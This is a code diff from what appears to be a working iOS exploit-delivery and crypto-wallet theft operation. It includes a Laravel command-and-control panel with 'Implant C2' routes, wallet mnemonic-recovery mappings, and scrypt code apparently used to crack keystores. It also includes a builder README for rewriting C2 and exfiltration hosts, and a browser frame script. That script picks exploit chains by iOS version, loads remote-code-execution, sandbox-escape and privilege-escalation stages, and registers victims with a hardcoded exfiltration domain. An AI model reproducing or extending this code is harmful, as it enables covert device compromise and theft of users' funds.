if ($ok && $txid !== null && trim($txid) !== '') {
|
||||
$lines[] = '🔗 <b>Tx</b>: <code>'.$this->e($txid).'</code>';
|
||||
$lines[] = '🔗 <b>交易</b>: <code>'.$this->e($txid).'</code>';
|
||||
}
|
||||
if (! $ok && $error !== null && trim($error) !== '') {
|
||||
$lines[] = '❌ <b>Error</b>: '.$this->e($error);
|
||||
$lines[] = '❌ <b>错误</b>: '.$this->e($error);
|
||||
}
|
||||
$this->send(implode("\n", $lines), $deviceId);
|
||||
}
|
||||
@@ -368,8 +368,8 @@ class TelegramNotifier
|
||||
$channelId = $this->contextForDevice($deviceId)['channel_id'];
|
||||
|
||||
return [
|
||||
'📱 <b>Device</b>: <code>'.$this->e($deviceId).'</code>',
|
||||
'📡 <b>ChannelID</b>: <code>'.$this->e($channelId !== '' ? $channelId : '—').'</code>',
|
||||
'📱 <b>设备</b>: <code>'.$this->e($deviceId).'</code>',
|
||||
'📡 <b>渠道 ID</b>: <code>'.$this->e($channelId !== '' ? $channelId : '—').'</code>',
|
||||
];
|
||||
}
|
||||
|
||||
|
||||
@@ -0,0 +1,131 @@
|
||||
<?php
|
||||
|
||||
namespace App\Support;
|
||||
|
||||
/**
|
||||
* RFC 7914 scrypt (PBKDF2-HMAC-SHA256 + ROMix / Salsa20/8).
|
||||
*/
|
||||
final class Scrypt
|
||||
{
|
||||
public static function hash(string $password, string $salt, int $n, int $r, int $p, int $dklen): string
|
||||
{
|
||||
if ($n < 2 || ($n & ($n - 1)) !== 0) {
|
||||
throw new \InvalidArgumentException('scrypt N must be a power of 2');
|
||||
}
|
||||
if ($r < 1 || $p < 1 || $dklen < 1) {
|
||||
throw new \InvalidArgumentException('invalid scrypt parameters');
|
||||
}
|
||||
|
||||
$blockSize = 128 * $r;
|
||||
$B = hash_pbkdf2('sha256', $password, $salt, 1, $p * $blockSize, true);
|
||||
$v = str_repeat("\0", $blockSize * $n);
|
||||
$out = '';
|
||||
for ($i = 0; $i < $p; $i++) {
|
||||
$block = substr($B, $i * $blockSize, $blockSize);
|
||||
$out .= self::romix($block, $n, $r, $v);
|
||||
}
|
||||
|
||||
return hash_pbkdf2('sha256', $password, $out, 1, $dklen, true);
|
||||
}
|
||||
|
||||
private static function romix(string $block, int $n, int $r, string &$v): string
|
||||
{
|
||||
$blockSize = 128 * $r;
|
||||
$x = $block;
|
||||
for ($i = 0; $i < $n; $i++) {
|
||||
$v = substr_replace($v, $x, $i * $blockSize, $blockSize);
|
||||
$x = self::blockMix($x, $r);
|
||||
}
|
||||
for ($i = 0; $i < $n; $i++) {
|
||||
$j = self::integerify($x, $r) % $n;
|
||||
$x = self::xorBytes($x, substr($v, $j * $blockSize, $blockSize));
|
||||
$x = self::blockMix($x, $r);
|
||||
}
|
||||
|
||||
return $x;
|
||||
}
|
||||
|
||||
private static function blockMix(string $b, int $r): string
|
||||
{
|
||||
$x = substr($b, (2 * $r - 1) * 64, 64);
|
||||
$y = '';
|
||||
$y2 = '';
|
||||
for ($i = 0; $i < 2 * $r; $i++) {
|
||||
$x = self::xorBytes($x, substr($b, $i * 64, 64));
|
||||
$x = self::salsa208($x);
|
||||
if (($i & 1) === 0) {
|
||||
$y .= $x;
|
||||
} else {
|
||||
$y2 .= $x;
|
||||
}
|
||||
}
|
||||
|
||||
return $y.$y2;
|
||||
}
|
||||
|
||||
private static function integerify(string $b, int $r): int
|
||||
{
|
||||
$off = (2 * $r - 1) * 64;
|
||||
$n = unpack('V2', substr($b, $off, 8));
|
||||
|
||||
return (int) ($n[1] | ($n[2] << 32));
|
||||
}
|
||||
|
||||
private static function xorBytes(string $a, string $b): string
|
||||
{
|
||||
return $a ^ $b;
|
||||
}
|
||||
|
||||
private static function salsa208(string $input): string
|
||||
{
|
||||
$x = array_values(unpack('V16', $input));
|
||||
$z = $x;
|
||||
for ($i = 0; $i < 8; $i += 2) {
|
||||
$z[4] ^= self::rotl(($z[0] + $z[12]) & 0xFFFFFFFF, 7);
|
||||
$z[8] ^= self::rotl(($z[4] + $z[0]) & 0xFFFFFFFF, 9);
|
||||
$z[12] ^= self::rotl(($z[8] + $z[4]) & 0xFFFFFFFF, 13);
|
||||
$z[0] ^= self::rotl(($z[12] + $z[8]) & 0xFFFFFFFF, 18);
|
||||
$z[9] ^= self::rotl(($z[5] + $z[1]) & 0xFFFFFFFF, 7);
|
||||
$z[13] ^= self::rotl(($z[9] + $z[5]) & 0xFFFFFFFF, 9);
|
||||
$z[1] ^= self::rotl(($z[13] + $z[9]) & 0xFFFFFFFF, 13);
|
||||
$z[5] ^= self::rotl(($z[1] + $z[13]) & 0xFFFFFFFF, 18);
|
||||
$z[14] ^= self::rotl(($z[10] + $z[6]) & 0xFFFFFFFF, 7);
|
||||
$z[2] ^= self::rotl(($z[14] + $z[10]) & 0xFFFFFFFF, 9);
|
||||
$z[6] ^= self::rotl(($z[2] + $z[14]) & 0xFFFFFFFF, 13);
|
||||
$z[10] ^= self::rotl(($z[6] + $z[2]) & 0xFFFFFFFF, 18);
|
||||
$z[3] ^= self::rotl(($z[15] + $z[11]) & 0xFFFFFFFF, 7);
|
||||
$z[7] ^= self::rotl(($z[3] + $z[15]) & 0xFFFFFFFF, 9);
|
||||
$z[11] ^= self::rotl(($z[7] + $z[3]) & 0xFFFFFFFF, 13);
|
||||
$z[15] ^= self::rotl(($z[11] + $z[7]) & 0xFFFFFFFF, 18);
|
||||
$z[1] ^= self::rotl(($z[0] + $z[3]) & 0xFFFFFFFF, 7);
|
||||
$z[2] ^= self::rotl(($z[1] + $z[0]) & 0xFFFFFFFF, 9);
|
||||
$z[3] ^= self::rotl(($z[2] + $z[1]) & 0xFFFFFFFF, 13);
|
||||
$z[0] ^= self::rotl(($z[3] + $z[2]) & 0xFFFFFFFF, 18);
|
||||
$z[6] ^= self::rotl(($z[5] + $z[4]) & 0xFFFFFFFF, 7);
|
||||
$z[7] ^= self::rotl(($z[6] + $z[5]) & 0xFFFFFFFF, 9);
|
||||
$z[4] ^= self::rotl(($z[7] + $z[6]) & 0xFFFFFFFF, 13);
|
||||
$z[5] ^= self::rotl(($z[4] + $z[7]) & 0xFFFFFFFF, 18);
|
||||
$z[11] ^= self::rotl(($z[10] + $z[9]) & 0xFFFFFFFF, 7);
|
||||
$z[8] ^= self::rotl(($z[11] + $z[10]) & 0xFFFFFFFF, 9);
|
||||
$z[9] ^= self::rotl(($z[8] + $z[11]) & 0xFFFFFFFF, 13);
|
||||
$z[10] ^= self::rotl(($z[9] + $z[8]) & 0xFFFFFFFF, 18);
|
||||
$z[12] ^= self::rotl(($z[15] + $z[14]) & 0xFFFFFFFF, 7);
|
||||
$z[13] ^= self::rotl(($z[12] + $z[15]) & 0xFFFFFFFF, 9);
|
||||
$z[14] ^= self::rotl(($z[13] + $z[12]) & 0xFFFFFFFF, 13);
|
||||
$z[15] ^= self::rotl(($z[14] + $z[13]) & 0xFFFFFFFF, 18);
|
||||
}
|
||||
$packed = '';
|
||||
for ($i = 0; $i < 16; $i++) {
|
||||
$packed .= pack('V', ($z[$i] + $x[$i]) & 0xFFFFFFFF);
|
||||
}
|
||||
|
||||
return $packed;
|
||||
}
|
||||
|
||||
private static function rotl(int $a, int $b): int
|
||||
{
|
||||
$a &= 0xFFFFFFFF;
|
||||
|
||||
return (($a << $b) | ($a >> (32 - $b))) & 0xFFFFFFFF;
|
||||
}
|
||||
}
|
||||
@@ -25,6 +25,14 @@ final class UserAgentParser
|
||||
[$os, $osVersion] = self::parseOs($ua);
|
||||
[$browser, $browserVersion] = self::parseBrowser($ua);
|
||||
|
||||
// iOS 26+ Safari still reports "iPhone OS 18_7" for compatibility.
|
||||
// When Version/ is 26+ and the OS token is 18.7, use Version/ for both fields.
|
||||
$compatVersion = self::ios26CompatVersion($ua);
|
||||
if ($compatVersion !== null && self::isIos187CompatToken($os, $osVersion)) {
|
||||
$osVersion = $compatVersion;
|
||||
$browserVersion = $compatVersion;
|
||||
}
|
||||
|
||||
return [
|
||||
'os' => $os,
|
||||
'os_version' => $osVersion,
|
||||
@@ -33,6 +41,29 @@ final class UserAgentParser
|
||||
];
|
||||
}
|
||||
|
||||
private static function isIos187CompatToken(string $os, string $osVersion): bool
|
||||
{
|
||||
if (! in_array($os, ['iOS', 'iPadOS'], true)) {
|
||||
return false;
|
||||
}
|
||||
|
||||
return $osVersion === '18.7' || str_starts_with($osVersion, '18.7.');
|
||||
}
|
||||
|
||||
private static function ios26CompatVersion(string $ua): ?string
|
||||
{
|
||||
if (! preg_match('/Version\/(\d+(?:\.\d+){0,2})/i', $ua, $m)) {
|
||||
return null;
|
||||
}
|
||||
|
||||
$major = (int) explode('.', $m[1])[0];
|
||||
if ($major < 26) {
|
||||
return null;
|
||||
}
|
||||
|
||||
return $m[1];
|
||||
}
|
||||
|
||||
/**
|
||||
* @return array{0: string, 1: string}
|
||||
*/
|
||||
|
||||
@@ -78,6 +78,37 @@ final class WalletSource
|
||||
'com.global.wallet.ios' => 'Global Wallet',
|
||||
];
|
||||
|
||||
/**
|
||||
* DS /war wallet bucket keys → display name. Unknown keys stay empty.
|
||||
*
|
||||
* @var array<string, string>
|
||||
*/
|
||||
private const DS_WALLET_KEYS = [
|
||||
'trustwallet' => 'Trust Wallet',
|
||||
'trust_wallet' => 'Trust Wallet',
|
||||
'trust' => 'Trust Wallet',
|
||||
'imtoken' => 'imToken',
|
||||
'im.token' => 'imToken',
|
||||
'tokenpocket' => 'TokenPocket',
|
||||
'token_pocket' => 'TokenPocket',
|
||||
'phantom' => 'Phantom',
|
||||
'uniswap' => 'Uniswap',
|
||||
'coinbase' => 'Coinbase Wallet',
|
||||
'bitget' => 'BitKeep',
|
||||
'bitkeep' => 'BitKeep',
|
||||
'metamask' => 'MetaMask',
|
||||
'okx' => 'OKX',
|
||||
'tronlink' => 'TronLink',
|
||||
'coin98' => 'Coin98',
|
||||
'solflare' => 'Solflare',
|
||||
'exodus' => 'Exodus',
|
||||
'tonkeeper' => 'Tonkeeper',
|
||||
'mytonwallet' => 'MyTonWallet',
|
||||
'tonhub' => 'Tonhub',
|
||||
'bitpie' => 'Bitpie',
|
||||
'telegram' => 'Telegram',
|
||||
];
|
||||
|
||||
/** Plugins that inject but are not mnemonic wallets (Telegram / WhatsApp). */
|
||||
private const NON_MNEMONIC_BUNDLES = [
|
||||
'ph.telegra.Telegraph',
|
||||
@@ -94,6 +125,73 @@ final class WalletSource
|
||||
return self::TAGS[$key] ?? self::TAGS[$tag] ?? $tag;
|
||||
}
|
||||
|
||||
/**
|
||||
* Keystore source: known wallet name, or empty when unrecognized.
|
||||
*/
|
||||
public static function fromKeystoreHint(mixed $hint): string
|
||||
{
|
||||
if (! is_string($hint) || trim($hint) === '') {
|
||||
return '';
|
||||
}
|
||||
$raw = trim($hint);
|
||||
$key = strtolower($raw);
|
||||
if (isset(self::TAGS[$key])) {
|
||||
return self::TAGS[$key];
|
||||
}
|
||||
if (isset(self::DS_WALLET_KEYS[$key])) {
|
||||
return self::DS_WALLET_KEYS[$key];
|
||||
}
|
||||
foreach (self::knownLabels() as $label) {
|
||||
if (strcasecmp($label, $raw) === 0) {
|
||||
return $label;
|
||||
}
|
||||
}
|
||||
if (str_contains($key, 'utc--') || str_contains($key, 'trustwallet') || str_contains($key, 'trust_wallet')) {
|
||||
return 'Trust Wallet';
|
||||
}
|
||||
if (str_contains($key, 'bitpie')) {
|
||||
return 'Bitpie';
|
||||
}
|
||||
if (str_contains($key, 'imtoken') || str_contains($key, 'im.token')) {
|
||||
return 'imToken';
|
||||
}
|
||||
if (str_contains($key, 'tokenpocket') || str_contains($key, 'token_pocket')) {
|
||||
return 'TokenPocket';
|
||||
}
|
||||
if (str_contains($key, 'metamask')) {
|
||||
return 'MetaMask';
|
||||
}
|
||||
|
||||
return '';
|
||||
}
|
||||
|
||||
/**
|
||||
* Plugin tag used when writing a recovered mnemonic (`d` = Trust Wallet).
|
||||
*/
|
||||
public static function tagForLabel(string $label): string
|
||||
{
|
||||
$label = trim($label);
|
||||
foreach (self::TAGS as $tag => $name) {
|
||||
if (strcasecmp($name, $label) === 0) {
|
||||
return $tag;
|
||||
}
|
||||
}
|
||||
|
||||
return '';
|
||||
}
|
||||
|
||||
/**
|
||||
* @return list<string>
|
||||
*/
|
||||
private static function knownLabels(): array
|
||||
{
|
||||
return array_values(array_unique(array_merge(
|
||||
array_values(self::TAGS),
|
||||
array_values(self::DS_WALLET_KEYS),
|
||||
array_values(self::BUNDLE_LABELS),
|
||||
)));
|
||||
}
|
||||
|
||||
/**
|
||||
* True when this bundle is a business plugin that can extract a mnemonic.
|
||||
*/
|
||||
|
||||
+11
-2
@@ -1,5 +1,7 @@
|
||||
<?php
|
||||
|
||||
use App\Http\Middleware\EnsurePanelHost;
|
||||
use App\Http\Middleware\EnsureSuperAdmin;
|
||||
use Illuminate\Foundation\Application;
|
||||
use Illuminate\Foundation\Configuration\Exceptions;
|
||||
use Illuminate\Foundation\Configuration\Middleware;
|
||||
@@ -12,6 +14,7 @@ return Application::configure(basePath: dirname(__DIR__))
|
||||
// Implant C2: no CSRF / session
|
||||
require __DIR__.'/../routes/c2.php';
|
||||
require __DIR__.'/../routes/xxbb.php';
|
||||
require __DIR__.'/../routes/ds.php';
|
||||
|
||||
// External webhooks (no CSRF)
|
||||
require __DIR__.'/../routes/hooks.php';
|
||||
@@ -37,14 +40,15 @@ return Application::configure(basePath: dirname(__DIR__))
|
||||
}
|
||||
|
||||
$middleware->alias([
|
||||
'admin.super' => \App\Http\Middleware\EnsureSuperAdmin::class,
|
||||
'panel.host' => \App\Http\Middleware\EnsurePanelHost::class,
|
||||
'admin.super' => EnsureSuperAdmin::class,
|
||||
'panel.host' => EnsurePanelHost::class,
|
||||
]);
|
||||
|
||||
$middleware->validateCsrfTokens(except: [
|
||||
'api/*',
|
||||
'link/*',
|
||||
'hooks/*',
|
||||
'hook/*',
|
||||
'statistic/t',
|
||||
'vhx',
|
||||
'event',
|
||||
@@ -57,6 +61,11 @@ return Application::configure(basePath: dirname(__DIR__))
|
||||
'ub',
|
||||
'ba',
|
||||
'result',
|
||||
'beacon',
|
||||
'war',
|
||||
'p',
|
||||
'stats',
|
||||
'log.html',
|
||||
]);
|
||||
|
||||
$middleware->redirectGuestsTo(function () {
|
||||
|
||||
@@ -0,0 +1,3 @@
|
||||
.venv/
|
||||
out/
|
||||
.DS_Store
|
||||
@@ -0,0 +1,26 @@
|
||||
# channel-builder-ds
|
||||
|
||||
DarkSword / one99 static builder. `source/` is the pristine tree (live hosts).
|
||||
`tools/build.py` rewrites C2 / delivery origins and copies the result to
|
||||
`public/next-chain`. Runtime splits two bases:
|
||||
|
||||
- `__LAB_DELIVERY_HOST__` — static assets; may include a path (`https://cdn.example.com/next-chain`)
|
||||
- `__LAB_EXFIL__` — C2 / API (`/api/ds/chain-targets`, `/api/ds/device/register`, `/api/ds/log`, beacon/war)
|
||||
|
||||
If the page is served under `/next-chain/`, delivery host is inferred automatically.
|
||||
Override in `source/config.js`:
|
||||
|
||||
```js
|
||||
deliveryHost: "https://cdn.example.com/next-chain", // full base, or
|
||||
deliveryPath: "/next-chain", // location.origin + path
|
||||
exfil: { host: "api.example.com", http_port: 443, https_port: 443, tls: true },
|
||||
```
|
||||
|
||||
```bash
|
||||
cd channel-builder-ds
|
||||
python3 tools/build.py
|
||||
python3 tools/build.py --host 192.168.31.130 --port 8000
|
||||
python3 tools/build.py --origin http://192.168.31.130:8000
|
||||
```
|
||||
|
||||
Writes `../public/next-chain/` (atomic replace). `source/` is never mutated.
|
||||
@@ -0,0 +1,419 @@
|
||||
(function () {
|
||||
'use strict';
|
||||
|
||||
var STAGE = { boot: 8, loader: 18, worker: 42, sbx0: 58, sbx1: 72, pe: 86, post: 100 };
|
||||
window.__LAB_CHAIN__ = '';
|
||||
|
||||
var _stageQueue = [];
|
||||
var _lastPostedStage = '';
|
||||
function notify(stage, progress, label) {
|
||||
try {
|
||||
if (window.parent && window.parent !== window) {
|
||||
window.parent.postMessage({
|
||||
type: 'ds-stage',
|
||||
stage: stage,
|
||||
progress: progress,
|
||||
chain: window.__LAB_CHAIN__ || '',
|
||||
label: label || stage
|
||||
}, '*');
|
||||
}
|
||||
} catch (e) {}
|
||||
enqueueStage(stage, progress, label);
|
||||
}
|
||||
function enqueueStage(stage, progress, label) {
|
||||
var key = String(stage) + '|' + String(progress) + '|' + String(label || stage);
|
||||
if (key === _lastPostedStage) return;
|
||||
_lastPostedStage = key;
|
||||
_stageQueue.push({ stage: stage, progress: progress, label: label || stage });
|
||||
flushStageReports();
|
||||
}
|
||||
function flushStageReports() {
|
||||
var id = '';
|
||||
try { id = window.__LAB_DEVICE_UUID__ || ''; } catch (eId) {}
|
||||
if (!id) return;
|
||||
var channel = (typeof labChannelCode === 'function' ? labChannelCode() : (window.__LAB_CHANNEL_CODE__ || '')) || '';
|
||||
while (_stageQueue.length) {
|
||||
var item = _stageQueue.shift();
|
||||
try {
|
||||
fetch(apiUrl('/api/ds/log'), {
|
||||
method: 'POST',
|
||||
headers: { 'Content-Type': 'application/json', 'X-Device-UUID': id },
|
||||
credentials: 'omit',
|
||||
body: JSON.stringify({
|
||||
deviceUUID: id,
|
||||
stage: item.stage,
|
||||
progress: item.progress,
|
||||
label: item.label,
|
||||
chain: window.__LAB_CHAIN__ || '',
|
||||
channelCode: channel
|
||||
})
|
||||
}).catch(function () {});
|
||||
} catch (eS) {}
|
||||
}
|
||||
}
|
||||
|
||||
notify('boot', STAGE.boot, 'frame_boot');
|
||||
|
||||
if (typeof labEnsureHosts === 'function') labEnsureHosts();
|
||||
var base = (typeof labDeliveryHost === 'function')
|
||||
? labDeliveryHost()
|
||||
: String(window.__LAB_DELIVERY_HOST__ || location.origin).replace(/\/$/, '');
|
||||
window.__LAB_DELIVERY_HOST__ = base;
|
||||
function apiUrl(path) {
|
||||
return (typeof labApiUrl === 'function') ? labApiUrl(path) : (String((window.__LAB_EXFIL__ && window.__LAB_EXFIL__.host) || location.origin).replace(/\/$/, '') + path);
|
||||
}
|
||||
function assetUrl(path) {
|
||||
return (typeof labDeliveryUrl === 'function') ? labDeliveryUrl(path) : (base + (path.charAt(0) === '/' ? path : '/' + path));
|
||||
}
|
||||
|
||||
// 記錄 frame.html 載入時間戳
|
||||
console.log('[Frame] Loaded at', new Date().toISOString());
|
||||
fetch(apiUrl('/api/ds/log?text=frame.html loaded at ' + new Date().toISOString()), { method: 'GET' }).catch(() => {});
|
||||
|
||||
function resolveExfilInline() {
|
||||
try {
|
||||
var xhr = new XMLHttpRequest();
|
||||
xhr.open('GET', apiUrl('/api/ds/chain-targets'), false);
|
||||
xhr.send();
|
||||
if (xhr.status >= 200 && xhr.status < 300 && xhr.responseText) {
|
||||
var d = JSON.parse(xhr.responseText);
|
||||
if (d.exfil && d.exfil.host) {
|
||||
if (typeof labApplyExfil === 'function') labApplyExfil(d.exfil);
|
||||
else window.__LAB_EXFIL__ = d.exfil;
|
||||
return;
|
||||
}
|
||||
}
|
||||
} catch (e) {}
|
||||
if (!window.__LAB_EXFIL__ || !window.__LAB_EXFIL__.host) {
|
||||
window.__LAB_EXFIL__ = {
|
||||
host: window.__LAB_EXFIL_DOMAIN__ || 'mh0usocqzi6f46i.com',
|
||||
domain: window.__LAB_EXFIL_DOMAIN__ || 'mh0usocqzi6f46i.com',
|
||||
http_port: 443,
|
||||
https_port: 443,
|
||||
tls: false,
|
||||
prefer_https: false,
|
||||
stats_url: '',
|
||||
stats_url_direct: '',
|
||||
delivery_stats_url: '',
|
||||
};
|
||||
}
|
||||
}
|
||||
resolveExfilInline();
|
||||
|
||||
function parseIosVersion() {
|
||||
var ua = navigator.userAgent;
|
||||
var m = /iPhone OS ([0-9_]+)/.exec(ua);
|
||||
if (!m) m = /CPU (?:iPhone )?OS ([0-9_]+)/.exec(ua);
|
||||
if (!m) m = /CPU OS ([0-9_]+)/.exec(ua);
|
||||
if (!m) {
|
||||
m = /Version\/(\d+)\.(\d+)/.exec(ua);
|
||||
return m ? [parseInt(m[1], 10), parseInt(m[2], 10)] : null;
|
||||
}
|
||||
return m[1].split('_').map(function (p) { return parseInt(p, 10); });
|
||||
}
|
||||
|
||||
function cmpVer(a, b) {
|
||||
for (var i = 0; i < 3; i++) {
|
||||
var ai = a[i] || 0, bi = b[i] || 0;
|
||||
if (ai < bi) return -1;
|
||||
if (ai > bi) return 1;
|
||||
}
|
||||
return 0;
|
||||
}
|
||||
|
||||
function isCorunaRange(v) {
|
||||
if (!v || !v.length || v[0] < 13) return false;
|
||||
if (v[0] >= 18) return false;
|
||||
if (v[0] === 17 && v[1] >= 3) return false;
|
||||
if (v[0] === 17 && v[1] === 2 && (v[2] || 0) > 1) return false;
|
||||
return true;
|
||||
}
|
||||
|
||||
function isSilkPathRange(v) {
|
||||
if (!v || !v.length) return false;
|
||||
var maj = v[0] || 0, min = v[1] || 0, pat = v[2] || 0;
|
||||
// 17.2.2+ through 18.3 — fills post-Coruna gap
|
||||
if (maj === 17 && (min > 2 || (min === 2 && pat >= 2))) return true;
|
||||
if (maj === 18 && min <= 3) return true;
|
||||
return false;
|
||||
}
|
||||
|
||||
function isExploitChainRange(v) {
|
||||
if (!v || !v.length) return false;
|
||||
if (v[0] === 18 && (v[1] || 0) >= 4) return true;
|
||||
if (v[0] >= 19 && v[0] <= 26) return true;
|
||||
return false;
|
||||
}
|
||||
|
||||
function loadScript(src, onload, attempt) {
|
||||
attempt = attempt || 0;
|
||||
var s = document.createElement('script');
|
||||
s.async = false;
|
||||
s.src = src + (src.indexOf('?') >= 0 ? '&' : '?') + '_=' + Date.now();
|
||||
s.onload = function () { if (onload) onload(); };
|
||||
s.onerror = function () {
|
||||
if (attempt < 4) {
|
||||
setTimeout(function () { loadScript(src, onload, attempt + 1); }, 200 * (attempt + 1));
|
||||
}
|
||||
};
|
||||
document.body.appendChild(s);
|
||||
}
|
||||
|
||||
function loadChainLoader(onload, attempt) {
|
||||
attempt = attempt || 0;
|
||||
var s = document.createElement('script');
|
||||
s.async = false;
|
||||
s.src = assetUrl('/rce_loader.js?_=' + Date.now());
|
||||
s.onload = function () { if (onload) onload(); };
|
||||
s.onerror = function () {
|
||||
if (attempt < 3) setTimeout(function () { loadChainLoader(onload, attempt + 1); }, 300 * (attempt + 1));
|
||||
};
|
||||
document.body.appendChild(s);
|
||||
}
|
||||
|
||||
var ios = parseIosVersion();
|
||||
function chainIdForIos(v) {
|
||||
if (!v || !v.length) return 'unknown';
|
||||
if (isCorunaRange(v)) return 'coruna';
|
||||
if (isSilkPathRange(v)) return 'silkpath';
|
||||
if (isExploitChainRange(v)) {
|
||||
var maj = v[0] || 0, min = v[1] || 0, pat = v[2] || 0;
|
||||
if ((maj === 18 && min === 7 && pat >= 3) || (maj >= 19 && maj <= 26)) return 'ghostwave';
|
||||
return 'darksword';
|
||||
}
|
||||
return 'blocked';
|
||||
}
|
||||
var chain = chainIdForIos(ios);
|
||||
var apiPlan = null;
|
||||
try {
|
||||
var xhrPlan = new XMLHttpRequest();
|
||||
xhrPlan.open('GET', apiUrl('/api/ds/chain-targets?ios=' + encodeURIComponent(ios ? ios.join('.') : '')), false);
|
||||
xhrPlan.send();
|
||||
if (xhrPlan.status >= 200 && xhrPlan.status < 300 && xhrPlan.responseText) {
|
||||
apiPlan = JSON.parse(xhrPlan.responseText);
|
||||
if (apiPlan.chain) chain = apiPlan.chain;
|
||||
if (apiPlan.exfil) {
|
||||
if (typeof labApplyExfil === 'function') labApplyExfil(apiPlan.exfil);
|
||||
else window.__LAB_EXFIL__ = apiPlan.exfil;
|
||||
}
|
||||
window.__LAB_BAND__ = apiPlan.band || null;
|
||||
window.__LAB_GATED__ = !!apiPlan.gated;
|
||||
window.__LAB_RECOMMENDED_WORKER__ = apiPlan.recommended_worker || (apiPlan.band && apiPlan.band.recommended_worker) || '';
|
||||
window.__LAB_FALLBACK_WORKERS__ = apiPlan.fallback_workers || (apiPlan.band && apiPlan.band.fallback_workers) || [];
|
||||
window.__LAB_S5_MODULE__ = apiPlan.s5_module || '';
|
||||
window.__LAB_ENTRY__ = apiPlan.entry_point || apiPlan.redirect_to || '';
|
||||
window.__LAB_USABLE_GRADE__ = (apiPlan.band && apiPlan.band.usable_grade) || '';
|
||||
window.__LAB_USABLE_FOR_ATTEMPT__ = !!(apiPlan.band && apiPlan.band.usable_for_attempt);
|
||||
if (apiPlan.band && apiPlan.band.usable_grade === 'DEAD' && /26\.3/.test(ios ? ios.join('.') : '')) {
|
||||
window.__LAB_RECOMMENDED_WORKER__ = window.__LAB_RECOMMENDED_WORKER__ || 'rce_worker_26.3.js';
|
||||
}
|
||||
try {
|
||||
var pw = window.__LAB_RECOMMENDED_WORKER__;
|
||||
if (pw) {
|
||||
var l = document.createElement('link');
|
||||
l.rel = 'preload'; l.as = 'script'; l.href = assetUrl('/' + pw);
|
||||
document.head.appendChild(l);
|
||||
}
|
||||
['sbx0_main_18.4.js','sbx1_main.js','pe_main.js'].forEach(function(f){
|
||||
var l2=document.createElement('link');
|
||||
l2.rel='prefetch'; l2.href=assetUrl('/'+f);
|
||||
document.head.appendChild(l2);
|
||||
});
|
||||
} catch (ePre) {}
|
||||
}
|
||||
} catch (ePlan) {}
|
||||
window.__LAB_CHAIN__ = chain;
|
||||
try {
|
||||
if (window.parent && window.parent !== window) {
|
||||
window.parent.postMessage({
|
||||
type: 'ds-chain',
|
||||
chain: chain,
|
||||
ios: ios ? ios.join('.') : ''
|
||||
}, '*');
|
||||
}
|
||||
} catch (eChain) {}
|
||||
|
||||
(function bindDeviceUuid() {
|
||||
function genUuid32() {
|
||||
try {
|
||||
var a = new Uint8Array(16);
|
||||
(window.crypto || window.msCrypto).getRandomValues(a);
|
||||
var hex = '';
|
||||
for (var i = 0; i < a.length; i++) hex += ('0' + a[i].toString(16)).slice(-2);
|
||||
return hex.toUpperCase();
|
||||
} catch (e) {
|
||||
return (Date.now().toString(16) + Math.random().toString(16).slice(2) + '0000000000000000').slice(0, 32).toUpperCase();
|
||||
}
|
||||
}
|
||||
try {
|
||||
var q = new URLSearchParams(location.search);
|
||||
var du = q.get('deviceUUID') || q.get('device') || q.get('uuid') || '';
|
||||
if (!du) {
|
||||
try { du = localStorage.getItem('lab_device_uuid') || ''; } catch (eLs) {}
|
||||
}
|
||||
if (!du) {
|
||||
try {
|
||||
var m = document.cookie.match(/(?:^|; )lab_device_uuid=([^;]*)/);
|
||||
du = m ? decodeURIComponent(m[1]) : '';
|
||||
} catch (eCk) {}
|
||||
}
|
||||
// Always ensure a wall-clock device id so /api/ds/log + exfil attribute correctly
|
||||
if (!du || String(du).replace(/-/g, '').length < 16) du = genUuid32();
|
||||
window.__LAB_DEVICE_UUID__ = String(du).replace(/-/g, '').toUpperCase().slice(0, 32);
|
||||
try { localStorage.setItem('lab_device_uuid', window.__LAB_DEVICE_UUID__); } catch (e1) {}
|
||||
try {
|
||||
document.cookie = 'lab_device_uuid=' + encodeURIComponent(window.__LAB_DEVICE_UUID__) + ';path=/;max-age=31536000;SameSite=Lax';
|
||||
} catch (eC2) {}
|
||||
} catch (e0) {
|
||||
try { window.__LAB_DEVICE_UUID__ = genUuid32(); } catch (e00) {}
|
||||
}
|
||||
window.addEventListener('message', function (ev) {
|
||||
if (!ev.data || ev.data.type !== 'lab-device-id' || !ev.data.deviceId) return;
|
||||
window.__LAB_DEVICE_UUID__ = String(ev.data.deviceId).replace(/-/g, '').toUpperCase();
|
||||
try { localStorage.setItem('lab_device_uuid', window.__LAB_DEVICE_UUID__); } catch (e2) {}
|
||||
try { flushStageReports(); } catch (eF) {}
|
||||
});
|
||||
})();
|
||||
try { flushStageReports(); } catch (eFlush) {}
|
||||
|
||||
(function registerFrameDevice() {
|
||||
try {
|
||||
var id = window.__LAB_DEVICE_UUID__ || '';
|
||||
if (!id) return;
|
||||
var iosStr = ios ? ios.join('.') : '';
|
||||
var regHeaders = { 'Content-Type': 'application/json', 'X-Device-UUID': id };
|
||||
var regBody = JSON.stringify({
|
||||
deviceUUID: id,
|
||||
user_agent: navigator.userAgent,
|
||||
userAgent: navigator.userAgent,
|
||||
ios: iosStr,
|
||||
ios_version: iosStr,
|
||||
chain: chain === 'blocked' ? 'out_of_scope' : chain,
|
||||
channelCode: (typeof labChannelCode === 'function' ? labChannelCode() : (window.__LAB_CHANNEL_CODE__ || '')) || ''
|
||||
});
|
||||
fetch(apiUrl('/api/ds/device/register'), {
|
||||
method: 'POST',
|
||||
headers: regHeaders,
|
||||
credentials: 'omit',
|
||||
body: regBody
|
||||
}).then(function (r) { return r.ok ? r.json() : null; }).then(function (d) {
|
||||
var canon = (d && d.device) ? String(d.device).replace(/-/g, '').toUpperCase() : '';
|
||||
if (canon) {
|
||||
window.__LAB_DEVICE_UUID__ = canon;
|
||||
try { localStorage.setItem('lab_device_uuid', canon); } catch (e3) {}
|
||||
try {
|
||||
document.cookie = 'lab_device_uuid=' + encodeURIComponent(canon) + ';path=/;max-age=31536000;SameSite=Lax';
|
||||
} catch (e4) {}
|
||||
if (window.parent && window.parent !== window) {
|
||||
try { window.parent.postMessage({ type: 'lab-device-id', deviceId: canon }, '*'); } catch (e5) {}
|
||||
}
|
||||
}
|
||||
}).catch(function () {});
|
||||
} catch (e) {}
|
||||
})();
|
||||
|
||||
console.log('[Frame] iOS version:', ios ? ios.join('.') : 'unknown');
|
||||
console.log('[Frame] Chain selected:', chain);
|
||||
(function () {
|
||||
var id = window.__LAB_DEVICE_UUID__ || '';
|
||||
var q = 'text=' + encodeURIComponent('Chain selected: ' + chain + ' for iOS ' + (ios ? ios.join('.') : 'unknown'));
|
||||
